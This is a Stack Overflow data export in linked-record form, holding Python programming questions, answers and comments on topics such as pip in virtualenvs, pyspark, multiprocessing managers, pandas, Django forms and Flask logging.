tags question: http://stackoverflow.com/q/48660969
tags question: http://stackoverflow.com/q/48748738
tag name: orm
type: Tag
tags question: http://stackoverflow.com/q/48796678
tags question: http://stackoverflow.com/q/48700137
tags question: http://stackoverflow.com/q/48702706
tags question: http://stackoverflow.com/q/48749756
tags question: http://stackoverflow.com/q/48751572
tags question: http://stackoverflow.com/q/48766720

http://stackoverflow.com/a/48735687
accepted answer of: http://stackoverflow.com/q/48735614
answers question: http://stackoverflow.com/q/48735614
type: Answer
has comment: http://stackoverflow.com/comment/84471353
upvote count: 3
score: 3
has body: You are creating virtual environment with python 2.7 pip freeze When you fire which pip3 it will not show you the pip under new virtual env, it will show the global pip3, that contains many libraries. For pip3 to execute you should create virtual environment by giving python3 flag explicitly virtualenv -p python3 . &amp;&amp; source bin/activate pip3 freeze pip freeze This will give you the correct result. To crosscheck always fire command which pip which pip3 Above command will show you which pip is you are using. In your case, usr/bin/pip3 was used
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84590654
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48792771
has text: @9000 thanks, I think I figured what causes the difference. Will just need to figure out if there is already a python equivalent to IDL's JULDAY function.

http://stackoverflow.com/comment/91402709
has text: To me it seems like the object is not as asked for. The example has a flat header structure, while the answers result has the multi index structure. Can one flatten it out well?
comment on: http://stackoverflow.com/a/48750322
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48731221
tagged with: pyspark
tagged with: apache-spark-sql
has title: pyspark error: not enough values to unpack(expected 3, got 2)
has answer: http://stackoverflow.com/a/48731939
answer count: 1
accepted answer: http://stackoverflow.com/a/48731939
favorite count: 0
score: 0
tagged with: apache-spark
tagged with: python
upvote count: 1
has body: I have the following data my_data=["Sentence1",['a','b','c'],"Sentence2",['d','e'],"Sentence3",['f']] and want to convert the input data to dataframe using pyspark 2.2 as --------------------------------- | ID | Sentence | label | --------------------------------- | 01 | Sentence1 |['a','b','c'] | | 02 | Sentence2 |['d','e'] | But when the do it with following code from pyspark.sql import Row to_row = Row('ID','Sentence', 'list') df = spark.createDataFrame([to_row(i,s,l) for i,s,l in enumerate(my_data)]) I get the following error ValueError: not enough values to unpack (expected 3, got 2) Can someone help me?
downvote count: 1
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/48290759

http://stackoverflow.com/comment/84406800
comment on: http://stackoverflow.com/q/48704010
type: QuestionComment
type: Comment
score: 0
has text: @Ev.Kounis Yes, exactly.

http://stackoverflow.com/q/48707612
tagged with: python
tagged with: multiprocessing-manager
type: Question
has answer: http://stackoverflow.com/a/48707642
score: 0
has title: Python multiprocessing Manger OSError "Only one usage of each socket address"
answer count: 1
has body: I am creating a communication platform in python (3.4.4) and using the multiprocessing.managers.BaseManager class. I have isolated the problem to the code below. The intention is to have a ROVManager(role='server') instance running in one process on the main computer and providing read/write capabilities to the system dictionary for multiple ROVManager(role='client') instances running on the same computer and a ROV (remotely operated vehicle) connected to the same network. This way, multiple clients/processes can do different tasks like reading sensor values, moving motors, printing, logging etc, all using the same dictionary. start_reader() below is one of those clients. Code from multiprocessing.managers import BaseManager import multiprocessing as mp import sys class ROVManager(BaseManager): def __init__(self, role, address, port, authkey=b'abc'): super(ROVManager, self).__init__(address=(address, port), authkey=authkey) if role is 'server': self.system = {'shutdown': False} self.register('system', callable=lambda: self.system) server = self.get_server() server.serve_forever() elif role is 'client': self.register('system') self.connect() def start_server(server_ip, port_var): print('starting server') ROVManager(role='server', address=server_ip, port=port_var) def start_reader(server_ip, port_var): print('starting reader') mgr = ROVManager(role='client', address=server_ip, port=port_var) i = 0 while not mgr.system().get('shutdown'): sys.stdout.write('\rTotal while loops: {}'.format(i)) i += 1 if __name__ == '__main__': server_p = mp.Process(target=start_server, args=('0.0.0.0', 5050)) reader_p = mp.Process(target=start_reader, args=('127.0.0.1', 5050)) server_p.start() reader_p.start() while True: # Check system status, restart processes etc here pass Error This results in the following output and error: starting server starting reader Total while loops: 15151 Process Process - 2: Traceback(most recent call last): File "c:\python34\Lib\multiprocessing\process.py",…
type: UnansweredQuestion

http://stackoverflow.com/comment/84427391
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48713681
has text: @JimFasarakisHilliard thanks. This seems awkward for me. Python is so unpopular thing that such a common bug in major IO module hasn't been resolved for two years?

http://stackoverflow.com/q/48770154
answer count: 1
tagged with: python-3.x
tagged with: python
has comment: http://stackoverflow.com/comment/84542890
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48770926
tagged with: list
has comment: http://stackoverflow.com/comment/84542159
type: Question
has comment: http://stackoverflow.com/comment/84548251
has title: python 2 vs python 3 columns ordering using pandas
has comment: http://stackoverflow.com/comment/84541823
accepted answer: http://stackoverflow.com/a/48770926
has body: I am facing an issue related to column ordering in pandas data frame while saving it as csv. This is the ordering in python 3: while in python 2 , it reverts the columns and also if the number of column is larger than 2 the ordering is totally different here is the code where i save data frame as csv : selective_price = [] for index_sample, row_sample in selectivePriceList.iterrows(): selective_price.append(row_sample.loc[list_keys]) counter +=1 #print(selective_price) selective_price = pd.concat(selective_price, axis=1) selective_price = selective_price.transpose() selective_price.insert(0, "Date", DateFrame.loc[index:index+(w-1)], allow_duplicates=False) #print(selective_price) start_end_date = str(DateFrame[index]) + "_" + str(DateFrame[index+(w-1)]) #print (start_end_date) selective_price = selective_price.sort_values(by=['Date']) print (selective_price.columns) selective_price.to_csv('rolling_results_'+start_end_date+"_.csv",index=False) when using selective_price = selective_price.sort_index().transpose() , the columns are sorted alphabetically not with the correct index while the correct index must be
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84547796
tagged with: pandas

http://stackoverflow.com/comment/84335970
score: 0
comment on: http://stackoverflow.com/q/48666620
type: QuestionComment
has text: You’ll have to add more debugging to figure out where exactly it’s stalling. E.g., try adding a print at the start of every `for` loop iteration. (You may just be looping over an enormous number of elements.) If you do, it would help if you include the script *with* debugging statements as well as the *full*, raw shell output.
type: Comment

http://stackoverflow.com/a/48779249
upvote count: 1
score: 1
downvote count: 0
has body: Let's assume that you want to have a single thread/process ingesting the data because it will be I/O rather than CPU bound. You're doing only minimal parsing and/or validation of the data before passing it to your processing layer. Let's further assume that you can do your data processing on each input item completely in parallel; that there's no sorting nor time/sequencing dependencies among these input items. In that case your task is basically a poster child for a "fan out" processing model. You create a multiprocessing.Queue object. Then you create a multiprocessing.Pool. This initialization code then becomes the ingestion processing task (the "producer" for the Queue) and the pool of processes all become consumers, performing processing. There are numerous examples of this online and the first link probably has several using this pattern. The remaining question, of course, is how you're going to handle the results. If they need to serialized back out to some single file then the obvious approach would be to create two Queue objects ... one for the work queue (ingestion process feeds it, pool processes consume from it) and the other is the output Queue (pools feed into it, and one process then consumes from it to write the results coherently to your output). Note that it is possible, and sometimes quite efficient, to have your master (ingesting) process multiplex. It can interlace input data reads with polls on the output Queue to write results out. But, of course, you can also just spin up another process devoted to the output handling. On the other hand it's possible that your results can be written in parallel, perhaps by the worker processes. This is fine if you're writing the results to many files, or posting them as INSERT or UPDATE statements to some SQL database, or feeding them out to Hadoop HDFS or into Spark DataSet. There are many forms of output which are amenable to parallel writes. It's also possible that you'll want to decouple your processing an…
answers question: http://stackoverflow.com/q/48778842
type: Answer

http://stackoverflow.com/q/48727337
tagged with: sorting
favorite count: 0
has comment: http://stackoverflow.com/comment/84453747
has answer: http://stackoverflow.com/a/48727387
downvote count: 1
has comment: http://stackoverflow.com/comment/84453670
tagged with: python
upvote count: 12
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48727420
score: 11
has title: Python, how to sort list of object?
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/84453691
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84453840
has body: I have a list of object that looks like this. hand = [ Card(10, 'H'), Card(2,'h'), Card(12,'h'), Card(13, 'h'), Card(14, 'h') ] Card(10, 'H) here is not a tuple, but an object. I know how to sort this list if each item in the list was in a form of tuple, like this, hand = sorted(hand, key = lambda x: x[0]) but I have no idea how to sort a list of objects. I want to sort my list by the first input value, which is the number in Card() How can I do this? Edit: Here's the definition of Card(). class Card(object): RANKS = (2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14) SUITS = ('C', 'D', 'H', 'S') def __init__(self, rank=12, suit='S'): if (rank in Card.RANKS): self.rank = rank else: self.rank = 12 if (suit in Card.SUITS): self.suit = suit.upper() else: self.suit = 'S' def __str__(self): if (self.rank == 14): rank = 'A' elif (self.rank == 13): rank = 'K' elif (self.rank == 12): rank = 'Q' elif (self.rank == 11): rank = 'J' else: rank = str(self.rank) return rank + self.suit def __eq__(self, other): return (self.rank == other.rank) def __ne__(self, other): return (self.rank != other.rank) def __lt__(self, other): return (self.rank &lt; other.rank) def __le__(self, other): return (self.rank &lt;= other.rank) def __gt__(self, other): return (self.rank &gt; other.rank) def __ge__(self, other): return (self.rank &gt;= other.rank)
has comment: http://stackoverflow.com/comment/84453742
duplicate of: http://stackoverflow.com/q/403421
answer count: 2
has comment: http://stackoverflow.com/comment/84453629
accepted answer: http://stackoverflow.com/a/48727387
possible better answer: http://stackoverflow.com/a/48727420
linked to: http://stackoverflow.com/q/403421

http://stackoverflow.com/comment/84476162
comment on: http://stackoverflow.com/q/48738186
score: 0
type: QuestionComment
type: Comment
has text: Whatever your bash script is named

python
tags question: http://stackoverflow.com/q/48763072
tags question: http://stackoverflow.com/q/48794294
tags question: http://stackoverflow.com/q/48796756
tags question: http://stackoverflow.com/q/48682571
tags question: http://stackoverflow.com/q/48796084
tags question: http://stackoverflow.com/q/48694269
tags question: http://stackoverflow.com/q/48646779
tags question: http://stackoverflow.com/q/48738713
tags question: http://stackoverflow.com/q/48650616
tags question: http://stackoverflow.com/q/48735671
tags question: http://stackoverflow.com/q/48713972
tags question: http://stackoverflow.com/q/48694143
tags question: http://stackoverflow.com/q/48740140
tags question: http://stackoverflow.com/q/48691833
tags question: http://stackoverflow.com/q/48774235
tags question: http://stackoverflow.com/q/48696979
tags question: http://stackoverflow.com/q/48666358
tags question: http://stackoverflow.com/q/48798020
tags question: http://stackoverflow.com/q/48648177
tags question: http://stackoverflow.com/q/48708318
tags question: http://stackoverflow.com/q/48726849
tags question: http://stackoverflow.com/q/48678275
tags question: http://stackoverflow.com/q/48702794
tags question: http://stackoverflow.com/q/48716859
tags question: http://stackoverflow.com/q/48774539
tags question: http://stackoverflow.com/q/48713957
tags question: http://stackoverflow.com/q/48675638
tags question: http://stackoverflow.com/q/48738342
tags question: http://stackoverflow.com/q/48754033
tags question: http://stackoverflow.com/q/48742032
tags question: http://stackoverflow.com/q/48703245
tags question: http://stackoverflow.com/q/48659843
tags question: http://stackoverflow.com/q/48728329
tags question: http://stackoverflow.com/q/48683076
tags question: http://stackoverflow.com/q/48736901
tags question: http://stackoverflow.com/q/48741185
tags question: http://stackoverflow.com/q/48669719
tags question: http://stackoverflow.com/q/48734436
tags question: http://stackoverflow.com/q/48722212
tags question: http://stackoverflow.com/q/48675338
tags question: http://stackoverflow.com/q/48704105
tags question: http://stackoverflow.com/q/48699703
tags question: http://stackoverflow.com/q/48745678
tags question: http://stackoverflow.com/q/48674542
tags question: http://stackoverflow.com/q/48677624
tags question: http://stackoverflow.com/q/48663488
tags question: http://stackoverflow.com/q/48720045
tags question: http://stackoverflow.com/q/48654514
tags question: http://stackoverflow.com/q/48801826
tags question: http://stackoverflow.com/q/48666334
tags question: http://stackoverflow.com/q/48760129
tags question: http://stackoverflow.com/q/48722703
tags question: http://stackoverflow.com/q/48739274
tags question: http://stackoverflow.com/q/48715098
tags question: http://stackoverflow.com/q/48795435
tags question: http://stackoverflow.com/q/48722901
tags question: http://stackoverflow.com/q/48658563
tags question: http://stackoverflow.com/q/48655692
tags question: http://stackoverflow.com/q/48794024
tags question: http://stackoverflow.com/q/48741214
tags question: http://stackoverflow.com/q/48753878
tags question: http://stackoverflow.com/q/48666775
tags question: http://stackoverflow.com/q/48662793
tags question: http://stackoverflow.com/q/48775531
tags question: http://stackoverflow.com/q/48727120
tags question: http://stackoverflow.com/q/48659449
tags question: http://stackoverflow.com/q/48763810
tags question: http://stackoverflow.com/q/48799014
tags question: http://stackoverflow.com/q/48700925
tags question: http://stackoverflow.com/q/48705324
tags question: http://stackoverflow.com/q/48702061
tags question: http://stackoverflow.com/q/48754467
tags question: http://stackoverflow.com/q/48689785
tags question: http://stackoverflow.com/q/48787340
tags question: http://stackoverflow.com/q/48764799
tags question: http://stackoverflow.com/q/48647816
tags question: http://stackoverflow.com/q/48789358
tags question: http://stackoverflow.com/q/48737160
tags question: http://stackoverflow.com/q/48733613
tags question: http://stackoverflow.com/q/48683024

http://stackoverflow.com/q/48726983
has body: The code snippet below returns an error that global name 'item' is not defined. How do I use if any(...) correctly to search for and print a string if found in a list? def walk: list = ["abc", "some-dir", "another-dir", ".git", "some-other-dir"] if any (".git" in item for item in list): print item,
has comment: http://stackoverflow.com/comment/84452912
has title: Python: How to use if any("str" in item for item in list)?
tagged with: if-statement
has comment: http://stackoverflow.com/comment/84452975
tagged with: any
type: Question
has comment: http://stackoverflow.com/comment/84452922
tagged with: for-loop
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48726999
favorite count: 0
has comment: http://stackoverflow.com/comment/84453037
accepted answer: http://stackoverflow.com/a/48726999
tagged with: python
has comment: http://stackoverflow.com/comment/84452958
upvote count: 3
linked to: http://stackoverflow.com/q/9060653
has comment: http://stackoverflow.com/comment/84452982
type: AnsweredQuestion
score: 3

http://stackoverflow.com/comment/84549553
type: AnswerComment
score: 0
type: Comment
has text: @DipanjanSaha I will recommend https://www.amazon.com/dp/1784393878/?tag=stackoverflow17-20
comment on: http://stackoverflow.com/a/48773815

http://stackoverflow.com/a/48755540
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/48755507
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48755507
has body: = is an assignment operator, == is an equality operator. I think you meant to use while ready.upper() == "Y":
type: AcceptedAnswer

http://stackoverflow.com/q/48799005
type: AnsweredQuestion
tagged with: forms
type: Question
linked to: http://stackoverflow.com/q/7513384
has title: How to instantiate a Django ModelForm with pre-filled required fields?
has answer: http://stackoverflow.com/a/48802413
accepted answer: http://stackoverflow.com/a/48802413
answer count: 1
downvote count: 0
has body: I have a subclass of ModelForm, FamilyDemographicsForm, for which two ChoiceFields are required: point_of_contact and birth_parent. For example, the following tests pass: class FamilyDemographicsFormTest(TestCase): def test_empty_form_is_not_valid(self): '''The choice fields 'point_of_contact' and 'birth_parent' are the only two required fields of the form''' form = FamilyDemographicsForm(data={}) # The form is not valid because the required fields have not been provided self.assertFalse(form.is_valid()) self.assertEqual(form.errors, {'point_of_contact': ['This field is required.'], 'birth_parent': ['This field is required.']}) def test_form_with_required_fields_is_valid(self): '''The form's save() method constructs the expected family''' data = {'point_of_contact': Family.EMPLOYEE, 'birth_parent': Family.PARTNER} form = FamilyDemographicsForm(data=data) self.assertTrue(form.is_valid()) # The family returned by saving the form has the expected attributes family = form.save() self.assertEqual(family.point_of_contact, Family.EMPLOYEE) self.assertEqual(family.birth_parent, Family.PARTNER) # The family exists in the database self.assertTrue(Family.objects.filter(id=family.id).exists()) In the second test case, a new instance of Family is created upon form.save(). I'd like to try instead to update an existing family. To get me started, I tried the following: def test_update_existing_family(self): initial = {'point_of_contact': Family.EMPLOYEE, 'birth_parent': Family.PARTNER} data = {'employee_phone': '4151234567', 'employee_phone_type': Family.IPHONE, 'partner_phone': '4157654321', 'partner_phone_type': Family.ANDROID} form = FamilyDemographicsForm(data=data, initial=initial) import ipdb; ipdb.set_trace() However, when I dropped into the debugger, I noticed that form.is_valid() is False and form.errors indicates that the required fields are not provided: ipdb&gt; form.errors {'point_of_contact': ['This field is required.'], 'birth_parent': ['This field is required.']} My…
favorite count: 0
tagged with: python
score: 2
upvote count: 2
tagged with: modelform
tagged with: django

http://stackoverflow.com/a/52486301
type: Answer
score: 5
upvote count: 5
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48674992
answers question: http://stackoverflow.com/q/48674992
has body: bytes can be tricky. First off, encoded_array = str(int_array).encode() is not doing what you think. If you print encoded_array, you'll see that it's literally converting the to_string value of int_array to bytes. This is why the first value of encoded_array is [ &gt;&gt;&gt; encoded_array[:1] b'[' Second, I'm not sure you want int_array = [i**2 for i in range(1, 100)] to do what it's doing. It creates values up to 10,000. I'm unsure if you would like for this range to be between 0 and 256 if each element is to represent a byte. I'm going to assume you would like some data to be converted to bytes and split into 40 byte chunks and the data in this case is an array of integers. First let's convert your int_array into an array of bytes. I'm going to convert each int into a 2 byte value and represent it in hex. &gt;&gt;&gt; hex_array = [x.to_bytes(2, byteorder="big") for x in int_array] Now to split up the data into bytes of 40 &gt;&gt;&gt; h [] &gt;&gt;&gt; for x in range(0, int(round(len(hex_array)/20))): ... h.append(hex_array[:20]) ... del hex_array[:20] I'm splitting by 20 because each element holds 2 bytes Now you'll have an array of max 40 byte collections. Time to join the collections together so we can transmit them! &gt;&gt;&gt; result [] &gt;&gt;&gt; for package in h: ... joined_package = b';'.join(package) ... result.append(joined_package)

http://stackoverflow.com/q/48739652
has answer: http://stackoverflow.com/a/48739688
has comment: http://stackoverflow.com/comment/84478984
score: 0
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/84478942
accepted answer: http://stackoverflow.com/a/48739688
has title: Randomly selecting N number of items from a list, duplicates possible
tagged with: random
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84499964
has body: I am trying to generate a list of random items from another list b. Duplicates are allowed. I cannot use random.sample because N can exceed the number of items in list b. I have written some code below: def generate_random_sequence(n): population = [] for i in xrange(n): b = random.choice(stuff) population.append(b) However i am really concerned about it's performance as it will be performed a lot of times. Is there a method in Random library that performs this task? Or is there a more optimized way of doing this task?

http://stackoverflow.com/a/48776175
upvote count: 1
answers question: http://stackoverflow.com/q/48775543
score: 1
has comment: http://stackoverflow.com/comment/120618110
has comment: http://stackoverflow.com/comment/84554672
has body: Burn me alive for using eval but I occasionally like to use try...eval in cases where there are nested attributes. try: val = eval("obj.{a1}.{a2}.{a3}".format(a1=a1, a2=a2, a3=a3)) except AttributeError: val = default print('Attribute not found') except Exception as e: print('Something went wrong') This looks nicer than multiple getattr's imo and I like to catch for AttributeErrors. Plus, it's pretty robust since you can do a lot of string manipulations to get just what you want. I also feel that this aligns with the "ask for forgiveness" schtick.
downvote count: 0
type: Answer

image-processing
tags question: http://stackoverflow.com/q/48693258
tags question: http://stackoverflow.com/q/48660588
tags question: http://stackoverflow.com/q/48707977
tags question: http://stackoverflow.com/q/48772192
tags question: http://stackoverflow.com/q/48698375
tags question: http://stackoverflow.com/q/48756939
tags question: http://stackoverflow.com/q/48732991
tags question: http://stackoverflow.com/q/48767750
tags question: http://stackoverflow.com/q/48683621
tags question: http://stackoverflow.com/q/48786376
tags question: http://stackoverflow.com/q/48681109
tags question: http://stackoverflow.com/q/48741653
tags question: http://stackoverflow.com/q/48677185
tags question: http://stackoverflow.com/q/48721567
tags question: http://stackoverflow.com/q/48709726
tags question: http://stackoverflow.com/q/48651820
tags question: http://stackoverflow.com/q/48785115
tags question: http://stackoverflow.com/q/48699709
tags question: http://stackoverflow.com/q/48723623
tags question: http://stackoverflow.com/q/48689936
tags question: http://stackoverflow.com/q/48729656
tags question: http://stackoverflow.com/q/48679718
type: Tag
tags question: http://stackoverflow.com/q/48681465
tags question: http://stackoverflow.com/q/48718034
tags question: http://stackoverflow.com/q/48674106
tags question: http://stackoverflow.com/q/48795918
tags question: http://stackoverflow.com/q/48689532
tags question: http://stackoverflow.com/q/48671498
tags question: http://stackoverflow.com/q/48782603
tags question: http://stackoverflow.com/q/48680832
tags question: http://stackoverflow.com/q/48758964
tag name: image-processing
tags question: http://stackoverflow.com/q/48658061
tags question: http://stackoverflow.com/q/48701670
tags question: http://stackoverflow.com/q/48668977

http://stackoverflow.com/comment/84510728
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48754819
has text: This is very confusing. Print in a different column? Are you sure you don't want a simple string (and in that case you are looking for np.where())

http://stackoverflow.com/q/48697056
has title: Log all flask connections to a log file
accepted answer: http://stackoverflow.com/a/48701225
score: 1
upvote count: 1
type: Question
tagged with: ip
tagged with: flask
has answer: http://stackoverflow.com/a/48701225
answer count: 1
downvote count: 0
favorite count: 0
has body: I have recently setup a python flask server that will host an at home streaming camera, sort of like a security camera. I was wondering if it is possible, using python and flask, to log all connections that are made to the server. This would include the date, time, and IP that connected. If I run the flask app in a python IDLE, flask outputs this:: 127.0.0.1 - - [08/Feb/2018 19:17:09] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [08/Feb/2018 19:17:09] "GET /login HTTP/1.1" 200 - 127.0.0.1 - - [08/Feb/2018 19:17:13] "POST /login HTTP/1.1" 302 - 127.0.0.1 - - [08/Feb/2018 19:17:13] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [08/Feb/2018 19:17:13] "GET /fake.jpg HTTP/1.1" 404 - I was wondering if it is possible to log all of this information into a log file. Thank you!
tagged with: python
tagged with: logging
type: AnsweredQuestion

http://stackoverflow.com/q/48787957
has comment: http://stackoverflow.com/comment/84577642
type: Question
has title: How to define a relation N:N in python3+django2?
tagged with: many-to-many
has body: I am following this tutorial: https://docs.djangoproject.com/en/2.0/intro/tutorial02/ In this tutorial, I can create a class Question and a class Choice. One question contains multiple choices, but one choice belongs to only 1 question. So following the tutorial, there is a foreign_key in the class Choice that refers to the class Question, and the variable choice_set will be automatically created. Now I want to modify that a choice can belong to multiple questions as well. How should I do that?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48788066
type: UnansweredQuestion
tagged with: python
score: 2
upvote count: 2
tagged with: django

http://stackoverflow.com/q/48712021
has comment: http://stackoverflow.com/comment/84423347
score: -1
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/84423186
favorite count: 0
has comment: http://stackoverflow.com/comment/84423498
has answer: http://stackoverflow.com/a/48712069
has comment: http://stackoverflow.com/comment/84423242
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48712384
tagged with: python
has comment: http://stackoverflow.com/comment/84423299
has comment: http://stackoverflow.com/comment/84423382
has comment: http://stackoverflow.com/comment/84423200
downvote count: 1
has title: How to check if a file only contains 6 tabbed delimited columns in python
type: Question
has body: I am trying to check if a file contains only 6 tabs with as many rows but been pretty stuck. here is what I got although i think it is not doing what I want because this is for start of a line? with open (myfile, 'r') as f: line_lengths = [len(line) - len(line.lstrip()) for line in f] if len(line_lengths) !=6: print "file is not tab delimited" else: print " file is ok. Proceed" I have a file with 6 tab delimited columns but it is giving me file is not tab delimited. Thank you

http://stackoverflow.com/comment/84730727
type: Comment
comment on: http://stackoverflow.com/a/48802595
has text: Thanks. However the above answer use panda, not spark. This won't scale for huge csv.
score: 1
type: AnswerComment

http://stackoverflow.com/q/48686767
has answer: http://stackoverflow.com/a/56784351
tagged with: random
has answer: http://stackoverflow.com/a/76536162
has body: I have a list of sets, and I wish to sample n different samples each containing an item from each set. What I do not want is to have it in order, so, for example, I will get all the samples necessarily with the same item from the first set. I also don't want to create all the Cartesian products as that might not be possible in terms of efficiency... Any idea of how to do it? Or even something to approximate this behaviour? Example that does not work: (prod for i, prod in zip(range(n), itertools.product(*list_of_sets)))
has answer: http://stackoverflow.com/a/79334320
upvote count: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84371581
tagged with: cartesian-product
tagged with: python
has comment: http://stackoverflow.com/comment/84372308
downvote count: 0
has comment: http://stackoverflow.com/comment/84371386
has comment: http://stackoverflow.com/comment/84372246
linked to: http://stackoverflow.com/q/20190315
has answer: http://stackoverflow.com/a/48686964
type: Question
linked to: http://stackoverflow.com/q/49374515
answer count: 8
score: 5
has comment: http://stackoverflow.com/comment/84372019
has answer: http://stackoverflow.com/a/53895551
has answer: http://stackoverflow.com/a/48687247
has title: How to sample from Cartesian product without repetition
has answer: http://stackoverflow.com/a/48687547
has answer: http://stackoverflow.com/a/77407481
favorite count: 0

http://stackoverflow.com/q/48667783
has comment: http://stackoverflow.com/comment/84384787
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84380418
has comment: http://stackoverflow.com/comment/84334163
has comment: http://stackoverflow.com/comment/84386379
tagged with: keypoint
has comment: http://stackoverflow.com/comment/84352158
has comment: http://stackoverflow.com/comment/84377996
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84387889
has comment: http://stackoverflow.com/comment/84352035
downvote count: 0
has title: How to vectorize a nested for loop in which the second loop is dependent on the first loop in Python?
has comment: http://stackoverflow.com/comment/84333559
has comment: http://stackoverflow.com/comment/84384137
favorite count: 0
answer count: 0
type: UnansweredQuestion
has body: I am new to using NumPy, my knowledge of Python is limited and also new to working on images. I don't understand how to do this. I need to know how to vectorize a nested for loop in Python in which the second loop in dependant on the first loop. Example: for(condition) { // if (condition) { // for(condition) { // } } } Let me give the context and a snippet of code so that its easier to explain what I'm looking for. I have found the end points(a pixel with only one neighbouring pixel) and junction points(a pixel with three or more neighbouring pixels) of a skeletonized image, and in this code snippet, the code is trying to find any connections between the junction points or between a junction point and an end point. #FOR JUNCTION POINTS TO OTHER JUNCTION POINTS OR END POINTS for i in xrange(lenj): a=junc_points[i] point_junc=en2(a[0],a[1],skeleton,point) point.append(a) for c in point_junc: a1=c point.append(a1) while True: flag=0 a2=en1(a1[0],a1[1],skeleton,point) a1=a2[1:] if a2[0]==0: break else: point.append(a1) for j in xrange(lenej): b=end_junc_points[j] if a1==b: #print(a," is connected to ",b) flag=1 adj[i][j]=1 break if flag==1: break point is a list variable storing all the previously visited pixel coordinates e2() returns all the neighbouring pixels of point a so that each branch can be traversed to look for end points or junction points e1() returns [0] if a pixel has already been visited else returns [1,x,y] where x and y are the pixels in front of it junc_points is a list which stores all the junction points end_junc_points is a list which stores all both the junction and the end points lenej is length of end_junc_points lenj is length of junc_points point_junc stores the pixel coordinates returned by e2() adj is an adjacency matrix The reason I need this is because I am trying to make a key point graph from the end points and junction points in the skeletonized image. adj stores that graph I wrote the code in a very basic way in Python. As you can unde…
tagged with: python
tagged with: computer-vision
has comment: http://stackoverflow.com/comment/84379944
tagged with: vectorization

http://stackoverflow.com/q/48718360
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48718582
tagged with: import
answer count: 2
has answer: http://stackoverflow.com/a/48726165
accepted answer: http://stackoverflow.com/a/48726165
has comment: http://stackoverflow.com/comment/84511549
downvote count: 0
tagged with: variables
has answer: http://stackoverflow.com/a/48718582
has comment: http://stackoverflow.com/comment/84436176
favorite count: 0
has comment: http://stackoverflow.com/comment/84435780
tagged with: python
has comment: http://stackoverflow.com/comment/84436027
linked to: http://stackoverflow.com/q/19993795
has comment: http://stackoverflow.com/comment/84435785
has title: Is it possible to import only a selected variable
score: 1
has comment: http://stackoverflow.com/comment/84480029
upvote count: 1
has comment: http://stackoverflow.com/comment/84435924
has body: I'm new here and in python. I try to import only a single variable or some of them from another file. I try from conf import SINGLE_VARIABLE but it gives me a ImportError: cannot import name 'SINGLE_VARIABLE Maybe it is not a good idea in the python way of coding, but I'm curious if it is possible Thx
type: Question

http://stackoverflow.com/comment/103431578
comment on: http://stackoverflow.com/a/58538110
score: 0
type: AnswerComment
has text: @Praderas I improved the speed of my answer by (likely) > 100x for large datasets.
type: Comment

http://stackoverflow.com/comment/84601414
type: AnswerComment
type: Comment
has text: opps... seems like you find your answer :-)
comment on: http://stackoverflow.com/a/48799304
score: 1

http://stackoverflow.com/comment/84388356
comment on: http://stackoverflow.com/q/48694856
has text: Looks like you lost all your indentation when you posted.. Also, you described what you want your function to do, but never asked a question. You can refer to [How To Ask](https://stackoverflow.com/help/how-to-ask) if you're new here to help you write a good question.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/84456674
comment on: http://stackoverflow.com/q/48728868
score: 0
has text: While you're at it make sure your editor didn't mix tabs and spaces somewhere.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48756278
has answer: http://stackoverflow.com/a/48756358
possible better answer: http://stackoverflow.com/a/48756338
has answer: http://stackoverflow.com/a/48756410
has comment: http://stackoverflow.com/comment/84513677
has answer: http://stackoverflow.com/a/48756338
favorite count: 0
has comment: http://stackoverflow.com/comment/84513901
has comment: http://stackoverflow.com/comment/84513684
tagged with: python
has title: Python function Noneype
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/48756410
has comment: http://stackoverflow.com/comment/84513699
upvote count: 1
downvote count: 1
type: Question
tagged with: nonetype
has body: When fahrenheit is greater than 90 degree "hot" is to be return and when less than 30 degrees to return "cold", however the program is return 'None' as the return value. I understand that in python functions default to none as a return value, however I have state fahrenheit as my return value. Can someone please explain why this is occuring? I am a newbie to python and experimenting with chapter exercises to better understand the python language. # convert2.py # A program to convert Celsius temps to Fahrenheit # This version issues heat and cold warning def temp(fahrenheit): if fahrenheit &gt; 90: fahrenheit = "hot" return fahrenheit if fahrenheit &lt; 30: fahrenheit = "cold" return fahrenheit def main(): celsius = float(input("What is the Celsius temperature? ")) fahrenheit = 9/5 * celsius + 32 print() print("The temperature is", temp(fahrenheit), "degrees Fahrenheit") main()
has comment: http://stackoverflow.com/comment/84513710
answer count: 3
tagged with: function

python-3.x
tags question: http://stackoverflow.com/q/48766273
tags question: http://stackoverflow.com/q/48745033
tags question: http://stackoverflow.com/q/48682916
tags question: http://stackoverflow.com/q/48676254
tags question: http://stackoverflow.com/q/48771732
tags question: http://stackoverflow.com/q/48720238
tags question: http://stackoverflow.com/q/48780477
tags question: http://stackoverflow.com/q/48679165
